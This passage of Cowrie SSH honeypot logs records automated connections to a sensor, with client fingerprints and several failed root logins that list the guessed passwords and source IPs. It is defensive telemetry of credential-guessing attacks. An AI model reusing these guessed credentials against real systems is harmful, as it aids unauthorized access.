{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:57:08.761284Z","src_ip":"31.59.89.180","session":"af77722f8812","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.27.162","src_port":43726,"dst_ip":"10.17.0.5","dst_port":22,"session":"3aca3350f20e","protocol":"ssh","message":"New connection: 43.153.27.162:43726 (10.17.0.5:22) [session: 3aca3350f20e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:57:16.131594Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:57:16.141396Z","src_ip":"43.153.27.162","session":"3aca3350f20e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:57:16.209904Z","src_ip":"43.153.27.162","session":"3aca3350f20e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"135555","message":"login attempt [root/135555] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:57:16.514295Z","src_ip":"43.153.27.162","session":"3aca3350f20e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:57:17.584342Z","src_ip":"43.153.27.162","session":"3aca3350f20e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"21.0","message":"Connection lost after 21.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:57:20.117822Z","src_ip":"47.86.95.62","session":"cf964e43eb49","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.184.143","src_port":54586,"dst_ip":"159.203.135.109","dst_port":22,"session":"4729cdc5efbe","protocol":"ssh","message":"New connection: 209.99.184.143:54586 (159.203.135.109:22) [session: 4729cdc5efbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:57:20.315270Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:57:20.319775Z","src_ip":"209.99.184.143","session":"4729cdc5efbe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:57:20.412053Z","src_ip":"209.99.184.143","session":"4729cdc5efbe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234.com","message":"login attempt [root/1234.com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:57:20.947559Z","src_ip":"209.99.184.143","session":"4729cdc5efbe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:57:22.042748Z","src_ip":"209.99.184.143","session":"4729cdc5efbe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"61.222.211.114","src_port":35476,"dst_ip":"159.203.135.109","dst_port":22,"session":"05320bd0f9ce","protocol":"ssh","message":"New connection: 61.222.211.114:35476 (159.203.135.109:22) [session: 05320bd0f9ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:57:37.147635Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:57:37.152638Z","src_ip":"61.222.211.114","session":"05320bd0f9ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:57:37.364731Z","src_ip":"61.222.211.114","session":"05320bd0f9ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"foxythekid","message":"login attempt [root/foxythekid] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:57:38.243332Z","src_ip":"61.222.211.114","session":"05320bd0f9ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:57:39.458493Z","src_ip":"61.222.211.114","session":"05320bd0f9ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.26.36.248","src_port":56042,"dst_ip":"159.203.135.109","dst_port":22,"session":"008321df4b20","protocol":"ssh","message":"New connection: 118.26.36.248:56042 (159.203.135.109:22) [session: 008321df4b20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:57:50.505720Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:57:50.510004Z","src_ip":"118.26.36.248","session":"008321df4b20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:57:50.726335Z","src_ip":"118.26.36.248","session":"008321df4b20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazxcde3","message":"login attempt [root/1qazxcde3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:57:51.622132Z","src_ip":"118.26.36.248","session":"008321df4b20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:57:52.841268Z","src_ip":"118.26.36.248","session":"008321df4b20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.12.41.6","src_port":45336,"dst_ip":"10.17.0.5","dst_port":22,"session":"f29eecae2b7f","protocol":"ssh","message":"New connection: 20.12.41.6:45336 (10.17.0.5:22) [session: f29eecae2b7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:58:02.879855Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:58:02.888502Z","src_ip":"20.12.41.6","session":"f29eecae2b7f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:58:02.903320Z","src_ip":"20.12.41.6","session":"f29eecae2b7f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux123","message":"login attempt [root/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:58:02.993422Z","src_ip":"20.12.41.6","session":"f29eecae2b7f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:58:04.013199Z","src_ip":"20.12.41.6","session":"f29eecae2b7f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":52722,"dst_ip":"10.17.0.5","dst_port":22,"session":"106aca3bf5ae","protocol":"ssh","message":"New connection: 47.86.95.62:52722 (10.17.0.5:22) [session: 106aca3bf5ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:58:07.023660Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.59.89.180","src_port":36880,"dst_ip":"159.203.135.109","dst_port":22,"session":"a98986b20378","protocol":"ssh","message":"New connection: 31.59.89.180:36880 (159.203.135.109:22) [session: a98986b20378]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:58:23.018860Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:58:23.024128Z","src_ip":"31.59.89.180","session":"a98986b20378","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:58:23.137818Z","src_ip":"31.59.89.180","session":"a98986b20378","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password2008","message":"login attempt [root/password2008] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:58:23.616525Z","src_ip":"31.59.89.180","session":"a98986b20378","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:58:24.732263Z","src_ip":"31.59.89.180","session":"a98986b20378","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.27.162","src_port":56612,"dst_ip":"10.17.0.5","dst_port":22,"session":"a5d48d7881c2","protocol":"ssh","message":"New connection: 43.153.27.162:56612 (10.17.0.5:22) [session: a5d48d7881c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:58:28.007935Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:58:28.016649Z","src_ip":"43.153.27.162","session":"a5d48d7881c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:58:28.086067Z","src_ip":"43.153.27.162","session":"a5d48d7881c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dingo","message":"login attempt [root/dingo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:58:28.393602Z","src_ip":"43.153.27.162","session":"a5d48d7881c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:58:29.465567Z","src_ip":"43.153.27.162","session":"a5d48d7881c2","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:58:41.073876Z","src_ip":"47.86.95.62","session":"106aca3bf5ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:58:41.077828Z","src_ip":"47.86.95.62","session":"106aca3bf5ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":41185,"dst_ip":"159.203.135.109","dst_port":22,"session":"716b48ddb61b","protocol":"ssh","message":"New connection: 213.209.159.56:41185 (159.203.135.109:22) [session: 716b48ddb61b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:58:46.644705Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:58:46.648858Z","src_ip":"213.209.159.56","session":"716b48ddb61b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"]